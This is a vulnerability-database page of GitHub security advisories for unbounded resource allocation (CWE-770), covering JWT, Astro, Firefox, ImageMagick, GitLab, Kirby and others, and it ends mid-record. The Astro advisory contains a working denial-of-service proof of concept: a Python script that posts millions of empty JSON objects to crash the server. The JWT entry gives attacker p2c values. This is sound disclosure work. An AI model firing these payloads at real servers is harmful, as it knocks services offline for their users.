Common Weakness Enumeration

CWE-770

Allowed

Allocation of Resources Without Limits or Throttling

Abstraction: Base · Status: Incomplete

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.

3049 vulnerabilities reference this CWE, most recent first.

GHSA-3PRJ-6HQW-CM82

Vulnerability from github – Published: 2026-06-18 21:09 – Updated: 2026-07-15 21:51
VLAI
Summary
PHP JWT Library: PBES2-HS*+A*KW unwrap accepts an unbounded p2c iteration count, enabling CPU-amplification denial of service
Details

Impact

When a JWE uses a password-based key-encryption algorithm (PBES2-HS256+A128KW, PBES2-HS384+A192KW, PBES2-HS512+A256KW), PBES2AESKW::unwrapKey() reads the p2c (PBKDF2 iteration count) parameter directly from the attacker-controlled JOSE header and passes it to hash_pbkdf2() with no upper bound. The only validation performed (checkHeaderAdditionalParameters()) was is_int($p2c) && $p2c > 0.

An unauthenticated attacker can craft a single JWE whose protected header sets a very large p2c (e.g. 100_000_000 ≈ 87 s of CPU, or PHP_INT_MAX), forcing a worker to spend an arbitrary amount of CPU inside PBKDF2 before the key unwrap can even fail. The decrypter swallows the eventual exception, so the attacker pays almost nothing while the server burns CPU. JSON General serialization (multiple recipients) and multi-key JWKSets multiply the cost. This is a classic uncontrolled-resource-consumption (CWE-400) denial of service.

Affected configurations

Applications that register any PBES2-HS*+A*KW algorithm in their decryption AlgorithmManager.

Patches

PBES2AESKW now enforces a configurable maximum iteration count (DEFAULT_MAX_COUNT = 1_000_000, well above realistic legitimate values which are a few thousand) in checkHeaderAdditionalParameters(), before any PBKDF2 computation. The bound is exposed as a constructor argument so operators can tune it.

Workarounds

Before upgrading: validate/limit the p2c header with a custom header checker, or do not enable PBES2 algorithms for untrusted tokens.

References

  • RFC 7518 §4.8 (PBES2)
  • CWE-400: Uncontrolled Resource Consumption

Résolution

Un correctif a été préparé sur une branche dédiée basée sur 3.4.x, avec des tests anti-régression dédiés (fork privé temporaire de cette advisory, PR #1).

PBES2PBES2AESKW::unwrapKey() borne désormais le paramètre p2c (constante DEFAULT_MAX_COUNT = 1_000_000, configurable via le constructeur) avant tout appel à hash_pbkdf2(), empêchant l'amplification CPU (DoS).

Validation : php -l OK, PHPUnit vert, aucune nouvelle erreur PHPStan introduite (différentiel nul vs 3.4.x), aucun commentaire ajouté dans le code source. Après merge, cascade prévue 3.4.x → 4.0.x → 4.1.x.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "web-token/jwt-library"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.4.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "web-token/jwt-framework"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.4.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "web-token/jwt-library"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "web-token/jwt-library"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.1.0"
            },
            {
              "fixed": "4.1.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "web-token/jwt-framework"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "web-token/jwt-framework"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.1.0"
            },
            {
              "fixed": "4.1.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T21:09:01Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\n\nWhen a JWE uses a password-based key-encryption algorithm (`PBES2-HS256+A128KW`, `PBES2-HS384+A192KW`, `PBES2-HS512+A256KW`), `PBES2AESKW::unwrapKey()` reads the `p2c` (PBKDF2 iteration count) parameter directly from the attacker-controlled JOSE header and passes it to `hash_pbkdf2()` with **no upper bound**. The only validation performed (`checkHeaderAdditionalParameters()`) was `is_int($p2c) \u0026\u0026 $p2c \u003e 0`.\n\nAn unauthenticated attacker can craft a single JWE whose protected header sets a very large `p2c` (e.g. `100_000_000` \u2248 87 s of CPU, or `PHP_INT_MAX`), forcing a worker to spend an arbitrary amount of CPU inside PBKDF2 **before** the key unwrap can even fail. The decrypter swallows the eventual exception, so the attacker pays almost nothing while the server burns CPU. JSON General serialization (multiple recipients) and multi-key JWKSets multiply the cost. This is a classic uncontrolled-resource-consumption (CWE-400) denial of service.\n\n### Affected configurations\n\nApplications that register any `PBES2-HS*+A*KW` algorithm in their decryption `AlgorithmManager`.\n\n### Patches\n\n`PBES2AESKW` now enforces a configurable maximum iteration count (`DEFAULT_MAX_COUNT = 1_000_000`, well above realistic legitimate values which are a few thousand) in `checkHeaderAdditionalParameters()`, before any PBKDF2 computation. The bound is exposed as a constructor argument so operators can tune it.\n\n### Workarounds\n\nBefore upgrading: validate/limit the `p2c` header with a custom header checker, or do not enable PBES2 algorithms for untrusted tokens.\n\n### References\n\n- RFC 7518 \u00a74.8 (PBES2)\n- CWE-400: Uncontrolled Resource Consumption\n\n## R\u00e9solution\n\nUn correctif a \u00e9t\u00e9 pr\u00e9par\u00e9 sur une branche d\u00e9di\u00e9e bas\u00e9e sur `3.4.x`, avec des tests anti-r\u00e9gression d\u00e9di\u00e9s (fork priv\u00e9 temporaire de cette advisory, PR #1).\n\n**PBES2** \u2014 `PBES2AESKW::unwrapKey()` borne d\u00e9sormais le param\u00e8tre `p2c` (constante `DEFAULT_MAX_COUNT = 1_000_000`, configurable via le constructeur) avant tout appel \u00e0 `hash_pbkdf2()`, emp\u00eachant l\u0027amplification CPU (DoS).\n\n**Validation :** `php -l` OK, PHPUnit vert, aucune nouvelle erreur PHPStan introduite (diff\u00e9rentiel nul vs `3.4.x`), aucun commentaire ajout\u00e9 dans le code source. Apr\u00e8s merge, cascade pr\u00e9vue `3.4.x \u2192 4.0.x \u2192 4.1.x`.",
  "id": "GHSA-3prj-6hqw-cm82",
  "modified": "2026-07-15T21:51:04Z",
  "published": "2026-06-18T21:09:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/web-token/jwt-framework/security/advisories/GHSA-3prj-6hqw-cm82"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/web-token/jwt-library/GHSA-3prj-6hqw-cm82.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/web-token/jwt-framework"
    },
    {
      "type": "WEB",
      "url": "https://github.com/web-token/jwt-framework/releases/tag/3.4.10"
    },
    {
      "type": "WEB",
      "url": "https://github.com/web-token/jwt-framework/releases/tag/4.0.7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/web-token/jwt-framework/releases/tag/4.1.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "PHP JWT Library: PBES2-HS*+A*KW unwrap accepts an unbounded p2c iteration count, enabling CPU-amplification denial of service"
}

GHSA-3R46-584R-XX8V

Vulnerability from github – Published: 2023-06-02 18:30 – Updated: 2024-04-04 04:29
VLAI
Details

Regular expressions used to filter out forbidden properties and values from style directives in calls to console.log weren't accounting for external URLs. Data could then be potentially exfiltrated from the browser. This vulnerability affects Firefox < 109, Thunderbird < 102.7, and Firefox ESR < 102.7.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-23603"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-02T17:15:10Z",
    "severity": "MODERATE"
  },
  "details": "Regular expressions used to filter out forbidden properties and values from style directives in calls to \u003ccode\u003econsole.log\u003c/code\u003e weren\u0027t accounting for external URLs. Data could then be potentially exfiltrated from the browser. This vulnerability affects Firefox \u003c 109, Thunderbird \u003c 102.7, and Firefox ESR \u003c 102.7.",
  "id": "GHSA-3r46-584r-xx8v",
  "modified": "2024-04-04T04:29:41Z",
  "published": "2023-06-02T18:30:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23603"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1800832"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2023-01"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2023-02"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2023-03"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3R4F-V62R-GJ86

Vulnerability from github – Published: 2022-05-13 01:42 – Updated: 2022-05-13 01:42
VLAI
Details

The ReadCINImage function in coders/cin.c in ImageMagick before 6.9.9-0 and 7.x before 7.0.6-1 allows remote attackers to cause a denial of service (memory consumption) via a crafted file.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-11525"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-07-23T03:29:00Z",
    "severity": "HIGH"
  },
  "details": "The ReadCINImage function in coders/cin.c in ImageMagick before 6.9.9-0 and 7.x before 7.0.6-1 allows remote attackers to cause a denial of service (memory consumption) via a crafted file.",
  "id": "GHSA-3r4f-v62r-gj86",
  "modified": "2022-05-13T01:42:23Z",
  "published": "2022-05-13T01:42:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-11525"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ImageMagick/ImageMagick/issues/519"
    },
    {
      "type": "WEB",
      "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=867810"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/99931"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3RFF-XJQ9-PG37

Vulnerability from github – Published: 2022-05-24 17:37 – Updated: 2022-05-24 17:37
VLAI
Details

There is a memory leak vulnerability in some versions of Huawei CloudEngine product. An unauthenticated, remote attacker may exploit this vulnerability by sending specific message to the affected product. Due to not release the allocated memory properly, successful exploit may cause memory leak.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-9124"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-12-29T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "There is a memory leak vulnerability in some versions of Huawei CloudEngine product. An unauthenticated, remote attacker may exploit this vulnerability by sending specific message to the affected product. Due to not release the allocated memory properly, successful exploit may cause memory leak.",
  "id": "GHSA-3rff-xjq9-pg37",
  "modified": "2022-05-24T17:37:31Z",
  "published": "2022-05-24T17:37:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-9124"
    },
    {
      "type": "WEB",
      "url": "https://www.huawei.com/en/psirt/security-advisories/huawei-sa-20201223-01-cloudengine-en"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-3RGF-7JF4-5QFC

Vulnerability from github – Published: 2026-05-20 18:31 – Updated: 2026-05-20 18:31
VLAI
Details

Allocation of resources without limits or throttling vulnerability in Progress Software MOVEit Automation allows Flooding.

This issue affects MOVEit Automation: before 2025.0.11, from 2025.1.0 before 2025.1.7.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-8486"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-20T16:16:27Z",
    "severity": "MODERATE"
  },
  "details": "Allocation of resources without limits or throttling vulnerability in Progress Software MOVEit Automation allows Flooding.\n\nThis issue affects MOVEit Automation: before 2025.0.11, from 2025.1.0 before 2025.1.7.",
  "id": "GHSA-3rgf-7jf4-5qfc",
  "modified": "2026-05-20T18:31:35Z",
  "published": "2026-05-20T18:31:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8486"
    },
    {
      "type": "WEB",
      "url": "https://docs.progress.com/bundle/moveit-automation-release-notes-2026/page/Fixed-Issues-2026.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3RH6-VQR9-VPX5

Vulnerability from github – Published: 2022-05-13 01:04 – Updated: 2022-05-13 01:04
VLAI
Details

Vixie Cron before the 3.0pl1-133 Debian package allows local users to cause a denial of service (memory consumption) via a large crontab file because an unlimited number of lines is accepted.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-9705"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-03-12T01:29:00Z",
    "severity": "MODERATE"
  },
  "details": "Vixie Cron before the 3.0pl1-133 Debian package allows local users to cause a denial of service (memory consumption) via a large crontab file because an unlimited number of lines is accepted.",
  "id": "GHSA-3rh6-vqr9-vpx5",
  "modified": "2022-05-13T01:04:47Z",
  "published": "2022-05-13T01:04:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-9705"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2019/03/msg00025.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2021/10/msg00029.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6DU7HAUAQR4E4AEBPYLUV6FZ4PHKH6A2"
    },
    {
      "type": "WEB",
      "url": "https://salsa.debian.org/debian/cron/commit/26814a26"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/107378"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3RMJ-9M5H-8FPV

Vulnerability from github – Published: 2026-03-24 19:29 – Updated: 2026-03-30 13:50
VLAI
Summary
Astro: Memory exhaustion DoS due to missing request body size limit in Server Islands
Details

Summary

Astro's Server Islands POST handler buffers and parses the full request body as JSON without enforcing a size limit. Because JSON.parse() allocates a V8 heap object for every element in the input, a crafted payload of many small JSON objects achieves ~15x memory amplification (wire bytes to heap bytes), allowing a single unauthenticated request to exhaust the process heap and crash the server. The /_server-islands/[name] route is registered on all Astro SSR apps regardless of whether any component uses server:defer, and the body is parsed before the island name is validated, so any Astro SSR app with the Node standalone adapter is affected.

Details

Astro automatically registers a Server Islands route at /_server-islands/[name] on all SSR apps, regardless of whether any component uses server:defer. The POST handler in packages/astro/src/core/server-islands/endpoint.ts buffers the entire request body into memory and parses it as JSON with no size or depth limit:

// packages/astro/src/core/server-islands/endpoint.ts (lines 55-56)
const raw = await request.text();    // full body buffered into memory — no size limit
const data = JSON.parse(raw);        // parsed into V8 object graph — no element count limit

The request body is parsed before the island name is validated, so the attacker does not need to know any valid island name — /_server-islands/anything triggers the vulnerable code path. No authentication is required.

Additionally, JSON.parse() allocates a heap object for every array/object in the input, so a payload consisting of many empty JSON objects (e.g., [{},{},{},...]) achieves ~15x memory amplification (wire bytes to heap bytes). The entire object graph is held as a single live reference until parsing completes, preventing garbage collection. An 8.6 MB request is sufficient to crash a server with a 128 MB heap limit.

PoC

Environment: Astro 5.18.0, @astrojs/node 9.5.4, Node.js 22 with --max-old-space-size=128.

The app does not use server:defer — this is a minimal SSR setup with no server island components. The route is still registered and exploitable.

Setup files:

package.json:

{
  "name": "poc-server-islands-dos",
  "scripts": {
    "build": "astro build",
    "start": "node --max-old-space-size=128 dist/server/entry.mjs"
  },
  "dependencies": {
    "astro": "5.18.0",
    "@astrojs/node": "9.5.4"
  }
}

astro.config.mjs:

import { defineConfig } from 'astro/config';
import node from '@astrojs/node';

export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
});

src/pages/index.astro:

---
---
<html>
<head><title>Astro App</title></head>
<body>
  <h1>Hello</h1>
  <p>Just a plain SSR page. No server islands.</p>
</body>
</html>

Dockerfile:

FROM node:22-slim
WORKDIR /app
COPY package.json .
RUN npm install
COPY . .
RUN npm run build
EXPOSE 4321
CMD ["node", "--max-old-space-size=128", "dist/server/entry.mjs"]

docker-compose.yml:

services:
  astro:
    build: .
    ports:
      - "4321:4321"
    deploy:
      resources:
        limits:
          memory: 256m

Reproduction:

# Build and start
docker compose up -d

# Verify server is running
curl http://localhost:4321/
# => 200 OK

crash.py:

import requests

# Any path under /_server-islands/ works — no valid island name needed
TARGET = "http://localhost:4321/_server-islands/x"

# 3M empty objects: each {} is ~3 bytes JSON but ~56-80 bytes as V8 object
# 8.6 MB on wire → ~180+ MB heap allocation → exceeds 128 MB limit
n = 3_000_000
payload = '[' + ','.join(['{}'] * n) + ']'
print(f"Payload: {len(payload) / (1024*1024):.1f} MB")

try:
    r = requests.post(TARGET, data=payload,
        headers={"Content-Type": "application/json"}, timeout=30)
    print(f"Status: {r.status_code}")
except requests.exceptions.ConnectionError:
    print("Server crashed (OOM killed)")
$ python crash.py
Payload: 8.6 MB
Server crashed (OOM killed)

$ curl http://localhost:4321/
curl: (7) Failed to connect to localhost port 4321: Connection refused

$ docker compose ps
NAME      IMAGE     COMMAND   SERVICE   CREATED   STATUS    PORTS
(empty — container was OOM killed)

The server process is killed and does not recover. Repeated requests in a containerized environment with restart policies cause a persistent crash-restart loop.

Impact

Any Astro SSR app with the Node standalone adapter is affected — the /_server-islands/[name] route is registered by default regardless of whether any component uses server:defer. Unauthenticated attackers can crash the server process with a single crafted HTTP request under 9 MB. In containerized environments with memory limits, repeated requests cause a persistent crash-restart loop, denying service to all users. The attack requires no authentication and no knowledge of valid island names — any value in the [name] parameter works because the body is parsed before the name is validated.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@astrojs/node"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "10.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-29772"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-24T19:29:26Z",
    "nvd_published_at": "2026-03-24T19:16:51Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nAstro\u0027s Server Islands POST handler buffers and parses the full request body as JSON without enforcing a size limit. Because `JSON.parse()` allocates a V8 heap object for every element in the input, a crafted payload of many small JSON objects achieves ~15x memory amplification (wire bytes to heap bytes), allowing a single unauthenticated request to exhaust the process heap and crash the server. The `/_server-islands/[name]` route is registered on all Astro SSR apps regardless of whether any component uses `server:defer`, and the body is parsed before the island name is validated, so any Astro SSR app with the Node standalone adapter is affected.\n\n### Details\n\nAstro automatically registers a Server Islands route at `/_server-islands/[name]` on all SSR apps, regardless of whether any component uses `server:defer`. The POST handler in `packages/astro/src/core/server-islands/endpoint.ts` buffers the entire request body into memory and parses it as JSON with no size or depth limit:\n\n```js\n// packages/astro/src/core/server-islands/endpoint.ts (lines 55-56)\nconst raw = await request.text();    // full body buffered into memory \u2014 no size limit\nconst data = JSON.parse(raw);        // parsed into V8 object graph \u2014 no element count limit\n```\n\nThe request body is parsed before the island name is validated, so the attacker does not need to know any valid island name \u2014 `/_server-islands/anything` triggers the vulnerable code path. No authentication is required.\n\nAdditionally, `JSON.parse()` allocates a heap object for every array/object in the input, so a payload consisting of many empty JSON objects (e.g., `[{},{},{},...]`) achieves ~15x memory amplification (wire bytes to heap bytes). The entire object graph is held as a single live reference until parsing completes, preventing garbage collection. An 8.6 MB request is sufficient to crash a server with a 128 MB heap limit.\n\n### PoC\n\n**Environment:** Astro 5.18.0, `@astrojs/node` 9.5.4, Node.js 22 with `--max-old-space-size=128`.\n\nThe app does **not** use `server:defer` \u2014 this is a minimal SSR setup with no server island components. The route is still registered and exploitable.\n\n**Setup files:**\n\n`package.json`:\n```json\n{\n  \"name\": \"poc-server-islands-dos\",\n  \"scripts\": {\n    \"build\": \"astro build\",\n    \"start\": \"node --max-old-space-size=128 dist/server/entry.mjs\"\n  },\n  \"dependencies\": {\n    \"astro\": \"5.18.0\",\n    \"@astrojs/node\": \"9.5.4\"\n  }\n}\n```\n\n`astro.config.mjs`:\n```js\nimport { defineConfig } from \u0027astro/config\u0027;\nimport node from \u0027@astrojs/node\u0027;\n\nexport default defineConfig({\n  output: \u0027server\u0027,\n  adapter: node({ mode: \u0027standalone\u0027 }),\n});\n```\n\n`src/pages/index.astro`:\n```astro\n---\n---\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eAstro App\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n  \u003ch1\u003eHello\u003c/h1\u003e\n  \u003cp\u003eJust a plain SSR page. No server islands.\u003c/p\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n`Dockerfile`:\n```dockerfile\nFROM node:22-slim\nWORKDIR /app\nCOPY package.json .\nRUN npm install\nCOPY . .\nRUN npm run build\nEXPOSE 4321\nCMD [\"node\", \"--max-old-space-size=128\", \"dist/server/entry.mjs\"]\n```\n\n`docker-compose.yml`:\n```yaml\nservices:\n  astro:\n    build: .\n    ports:\n      - \"4321:4321\"\n    deploy:\n      resources:\n        limits:\n          memory: 256m\n```\n\n**Reproduction:**\n\n```bash\n# Build and start\ndocker compose up -d\n\n# Verify server is running\ncurl http://localhost:4321/\n# =\u003e 200 OK\n```\n\n`crash.py`:\n```python\nimport requests\n\n# Any path under /_server-islands/ works \u2014 no valid island name needed\nTARGET = \"http://localhost:4321/_server-islands/x\"\n\n# 3M empty objects: each {} is ~3 bytes JSON but ~56-80 bytes as V8 object\n# 8.6 MB on wire \u2192 ~180+ MB heap allocation \u2192 exceeds 128 MB limit\nn = 3_000_000\npayload = \u0027[\u0027 + \u0027,\u0027.join([\u0027{}\u0027] * n) + \u0027]\u0027\nprint(f\"Payload: {len(payload) / (1024*1024):.1f} MB\")\n\ntry:\n    r = requests.post(TARGET, data=payload,\n        headers={\"Content-Type\": \"application/json\"}, timeout=30)\n    print(f\"Status: {r.status_code}\")\nexcept requests.exceptions.ConnectionError:\n    print(\"Server crashed (OOM killed)\")\n```\n\n```\n$ python crash.py\nPayload: 8.6 MB\nServer crashed (OOM killed)\n\n$ curl http://localhost:4321/\ncurl: (7) Failed to connect to localhost port 4321: Connection refused\n\n$ docker compose ps\nNAME      IMAGE     COMMAND   SERVICE   CREATED   STATUS    PORTS\n(empty \u2014 container was OOM killed)\n```\n\nThe server process is killed and does not recover. Repeated requests in a containerized environment with restart policies cause a persistent crash-restart loop.\n\n### Impact\n\nAny Astro SSR app with the Node standalone adapter is affected \u2014 the `/_server-islands/[name]` route is registered by default regardless of whether any component uses `server:defer`. Unauthenticated attackers can crash the server process with a single crafted HTTP request under 9 MB. In containerized environments with memory limits, repeated requests cause a persistent crash-restart loop, denying service to all users. The attack requires no authentication and no knowledge of valid island names \u2014 any value in the `[name]` parameter works because the body is parsed before the name is validated.",
  "id": "GHSA-3rmj-9m5h-8fpv",
  "modified": "2026-03-30T13:50:20Z",
  "published": "2026-03-24T19:29:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/security/advisories/GHSA-3rmj-9m5h-8fpv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29772"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/commit/f9ee8685dd26e9afeba3b48d41ad6714f624b12f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/withastro/astro"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/releases/tag/@astrojs/node@10.0.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Astro: Memory exhaustion DoS due to missing request body size limit in Server Islands"
}

GHSA-3RR2-XXQC-95FC

Vulnerability from github – Published: 2026-01-22 15:31 – Updated: 2026-01-22 15:31
VLAI
Details

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 12.3 before 18.6.4, 18.7 before 18.7.2, and 18.8 before 18.8.2 that could have allowed an unauthenticated user to create a denial of service condition by sending repeated malformed SSH authentication requests.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-1102"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-22T15:16:50Z",
    "severity": "MODERATE"
  },
  "details": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 12.3 before 18.6.4, 18.7 before 18.7.2, and 18.8 before 18.8.2 that could have allowed an unauthenticated user to create a denial of service condition by sending repeated malformed SSH authentication requests.",
  "id": "GHSA-3rr2-xxqc-95fc",
  "modified": "2026-01-22T15:31:32Z",
  "published": "2026-01-22T15:31:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1102"
    },
    {
      "type": "WEB",
      "url": "https://about.gitlab.com/releases/2026/01/21/patch-release-gitlab-18-8-2-released"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/579746"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3V6J-V3QC-CXFF

Vulnerability from github – Published: 2023-07-28 15:34 – Updated: 2023-07-28 15:34
VLAI
Summary
Denial of service from unlimited password lengths
Details

TL;DR

This vulnerability affects all Kirby sites with user accounts (unless Kirby's API and Panel are disabled in the config). The real-world impact of this vulnerability is limited, however we still recommend to update to one of the patch releases because they also fix more severe vulnerabilities.


Introduction

Denial of service (DoS) is a type of attack in which an attacker floods a service with the intention to limit performance or availability for legitimate users of the service.

In the variation described in this advisory (a so called application layer denial of service attack), it is performed by causing a computationally expensive task to be run on the server. This may then cause a performance bottleneck.

Impact

Kirby's authentication endpoint did not limit the password length. This allowed attackers to provide a password with a length up to the server's maximum request body length. Validating that password against the user's actual password requires hashing the provided password, which requires more CPU and memory resources (and therefore processing time) the longer the provided password gets. This could be abused by an attacker to cause the website to become unresponsive or unavailable.

Because Kirby comes with a built-in brute force protection, the impact of this vulnerability is limited to 10 failed logins from each IP address and 10 failed logins for each existing user per hour.

Patches

The problem has been patched in Kirby 3.5.8.3, Kirby 3.6.6.3, Kirby 3.7.5.2, Kirby 3.8.4.1 and Kirby 3.9.6. Please update to one of these or a later version to fix the vulnerability.

In all of the mentioned releases, we have added password length limits in the affected code so that passwords longer than 1000 bytes are immediately blocked, both when setting a password and when logging in.

Credits

Thanks to Shankar Acharya (@5hank4r) for responsibly reporting the identified issue.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getkirby/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.5.8.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getkirby/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.6.0"
            },
            {
              "fixed": "3.6.6.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getkirby/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.7.0"
            },
            {
              "fixed": "3.7.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getkirby/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.8.0"
            },
            {
              "fixed": "3.8.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getkirby/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.9.0"
            },
            {
              "fixed": "3.9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-38492"
  ],
